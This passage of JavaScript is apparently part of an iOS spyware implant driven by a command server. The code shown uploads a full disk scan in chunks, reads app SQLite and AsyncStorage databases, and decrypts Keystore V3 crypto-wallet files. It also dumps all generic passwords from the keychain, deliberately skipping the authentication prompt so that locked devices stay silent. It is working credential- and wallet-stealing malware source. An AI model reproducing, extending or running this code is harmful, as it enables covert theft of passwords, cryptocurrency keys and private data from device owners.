\"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar _sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\tvar _authUIKeyCF = 0n, _authUIValCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\t// fix #3: skip auth UI so locked devices don't prompt \"Enter password for\n\t\t// SpringBoard\". Mirrors _secDumpClass. Auth-protected items are silently\n\t\t// skipped (errSecInteractionNotAllowed) instead of triggering a dialog.\n\t\t_authUIKeyCF = _cfStr(\"u_AuthUI\");\n\t\t_authUIValCF = _cfStr(\"u_AuthUISkip\");\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n && _authUIValCF && _authUIValCF !== 0n) {\n\t\t\tkeys.push(_authUIKeyCF);\n\t\t\tvals.push(_authUIValCF);\n\t\t}\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} catch (itemErr) 